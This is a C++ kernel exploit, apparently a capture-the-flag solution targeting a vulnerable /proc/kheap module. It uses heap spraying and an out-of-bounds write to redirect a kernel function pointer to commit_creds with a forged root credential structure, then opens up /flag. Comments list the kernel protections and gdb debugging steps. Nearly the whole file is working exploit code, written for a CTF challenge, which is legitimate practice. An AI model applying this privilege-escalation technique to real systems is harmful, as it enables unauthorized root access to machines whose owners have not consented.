188 lines
4.5 KiB
C++
188 lines
4.5 KiB
C++
#include <cstdio>
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#include <cstring>
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#include <cstdint>
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#include <cstdlib>
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#include <ctime>
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#include <vector>
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#include <fcntl.h>
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#include <sys/ioctl.h>
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#include <sys/types.h>
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#include <sys/stat.h>
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#include <unistd.h>
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#define CMD_COPY_TO_USER 22272
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#define CMD_COPY_FROM_USER 22273
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#define CMD_EXE_FUNC_PTR 22274
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const uint64_t MODULE_BASE = 0xffffffffc0000000ull;
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const uint64_t commit_creds = 0xffffffff810b8bb0ull;
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struct cred {
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uint64_t usage;
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uint32_t uid;
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uint32_t gid;
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uint32_t suid;
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uint32_t sgid;
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uint32_t euid;
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uint32_t egid;
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uint32_t fsuid;
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uint32_t fsgid;
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unsigned int securebits;
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uint64_t cap_inheritable;
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uint64_t cap_permitted;
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uint64_t cap_effective;
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uint64_t cap_bset;
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uint64_t cap_ambient;
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unsigned char jit_keyring;
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void *session_keyring;
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void *process_keyring;
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void *thread_keyring;
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void *request_key_auth;
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void *security;
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void *user;
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void *user_ns;
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void *ucounts;
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void *group_info;
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union {
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int non_rcu;
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struct {
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void *next;
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void (*func)(void *head);
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} rcu __attribute__((aligned(sizeof(void *))));
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};
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};
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char buf[0x1000];
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struct kheap_req_t {
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void * ubuf;
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size_t size;
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} req = {buf, 0};
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std::vector<int> fds;
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int new_fd() {
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return open("/proc/kheap", O_RDWR);
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}
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bool is_slots_adjacent(int attack_fd, int victim_fd) {
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uint64_t * ptr;
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// write to victim_fd
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ptr = (uint64_t *) buf;
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int rand_value = rand();
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*ptr = rand_value;
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req.size = 0x8;
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ioctl(victim_fd, CMD_COPY_FROM_USER, &req);
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// read from attack_fd
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req.size = 0x208;
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ioctl(attack_fd, CMD_COPY_TO_USER, &req);
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ptr = (uint64_t *) &buf[0x200];
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if ((*ptr) == rand_value) {
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printf("%d is adjacent to %d\n", attack_fd, victim_fd);
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return true;
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} else {
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printf("%d isn't adjacent to %d\n", attack_fd, victim_fd);
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return false;
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}
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}
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int find_attack_object(int victim_fd) {
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for (int i = 0; i < fds.size(); i++) {
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if (is_slots_adjacent(fds[i], victim_fd))
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return fds[i];
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}
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return -1;
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}
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void close_fds() {
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for (int i = 0; i < fds.size(); i++) {
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close(fds[i]);
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}
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}
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// Refer to
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// https://ctf-wiki.org/pwn/linux/kernel-mode/aim/privilege-escalation/change-self/#commit_credsinit_cred
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// https://elixir.bootlin.com/linux/v6.7.9/source/kernel/cred.c#L44
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void do_fake_cred(struct cred *fake_cred) {
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memset(fake_cred, 0, sizeof(struct cred));
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// placement new
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new (fake_cred) cred {
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.usage = 1,
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.uid = 0,
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.gid = 0,
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.suid = 0,
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.sgid = 0,
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.euid = 0,
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.egid = 0,
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.fsuid = 0,
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.fsgid = 0,
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.securebits = 0,
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.cap_inheritable = 0,
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.cap_permitted = 0xFFFFFFFFFFFFFFFF,
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.cap_effective = 0xFFFFFFFFFFFFFFFF,
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.cap_bset = 0xFFFFFFFFFFFFFFFF,
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// nm -a /challenge/vmlinux | grep symbol_name
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.security = (void*)0xffffffff82a51560, // picked a kernel memory address and it worked
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.user = (void*)0xffffffff82a51560, // root_user
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.user_ns = (void*)0xffffffff82a51600, // init_user_ns
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.ucounts = (void*)0xffffffff82a53800, // init_ucounts
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.group_info = (void*)0xffffffff82a52fd8, // init_groups
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};
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}
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int main() {
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srand(time(NULL));
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int times = 1;
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int attack_fd, victim_fd = new_fd();
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fds.push_back(victim_fd);
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// try to find an attack chunk exactly before victim chunk
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while ((attack_fd = find_attack_object(victim_fd)) == -1) {
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if (times > 100) {
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printf("heap spray failed\n");
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return 0;
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}
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victim_fd = new_fd();
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fds.push_back(victim_fd);
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times++;
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}
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// fake a `struct cred` in victim chunk's `buf`
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struct cred fake_cred;
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do_fake_cred(&fake_cred);
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memcpy(buf, &fake_cred, sizeof(struct cred));
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req.size = sizeof(struct cred);
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ioctl(victim_fd, CMD_COPY_FROM_USER, &req);
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// overwrite victim chunk's `func` to `commit_creds` via attack chunk's OOB
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uint64_t * ptr = (uint64_t *)&buf[0x1f8];
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*ptr = commit_creds;
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req.size = 0x200;
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ioctl(attack_fd, CMD_COPY_FROM_USER, &req);
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// execute function pointer in kernel space
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ioctl(victim_fd, CMD_EXE_FUNC_PTR, &req);
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// syscall execve lead to kernel problems as `struct cred` is faked
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// execve("/bin/sh", NULL, NULL);
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// try change the mode of flag
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chmod("/flag", 0777);
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close_fds();
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return 0;
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}
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// Protection:
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// - No KASLR.
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// - SMAP, SMEP On.
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// - CONFIG_SLAB_FREELIST_RANDOM=y
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// - CONFIG_SLAB_FREELIST_HARDENED=n
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// - CONFIG_RANDSTRUCT=n
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// Debug:
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// Use `sudo cat /proc/modules` to get kernel module base.
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// gdb> add-symbol-file /challenge/challenge2.ko 0xffffffffc0000000
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// gdb> b kheap_open
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// gdb> b kheap_ioctl
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// An aligned slub slot is 0x200 bytes.
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// $ g++ exploit.cpp -o exploit -g
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